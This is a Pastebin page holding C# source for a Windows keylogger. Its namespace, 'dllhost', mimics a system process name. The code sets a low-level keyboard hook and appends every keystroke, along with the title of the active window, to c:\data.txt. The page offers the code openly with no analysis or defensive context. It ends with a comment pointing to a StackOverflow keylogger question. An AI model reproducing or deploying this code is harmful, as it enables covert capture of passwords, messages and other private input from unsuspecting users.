Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.IO;
- using System.Linq;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- namespace dllhost
- {
- class Program
- {
- private static string path ="c:\\data.txt";
- private static string active = null;
- [DllImport("user32.dll")]
- static extern IntPtr GetForegroundWindow();
- [DllImport("user32.dll")]
- static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
- private static string getTitle()
- {
- IntPtr handle = GetForegroundWindow();
- StringBuilder sb = new StringBuilder(1000);
- GetWindowText(handle, sb, 1000);
- string winText = sb.ToString();
- return winText;
- }
- private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static KeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- static void Main(string[] args)
- {
- Hook();
- Application.Run();
- UnHook();
- }
- public static void Hook()
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- public static void UnHook()
- {
- UnhookWindowsHookEx(_hookID);
- }
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- int KeyCode = Marshal.ReadInt32(lParam);
- StreamWriter sw;
- sw = new StreamWriter(path, true);
- sw.AutoFlush = true;
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- if (!string.IsNullOrEmpty(active) && active != getTitle())
- {
- active = getTitle();
- sw.WriteLine();
- sw.WriteLine();
- sw.WriteLine(active); // Write active window title to txt file
- }
- sw.WriteLine((Keys)KeyCode); // Write key pressed to txt file
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- }
- }
- // Source: http://stackoverflow.com/questions/23593125/keylogger-not-write-correctly-in-txt-file
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement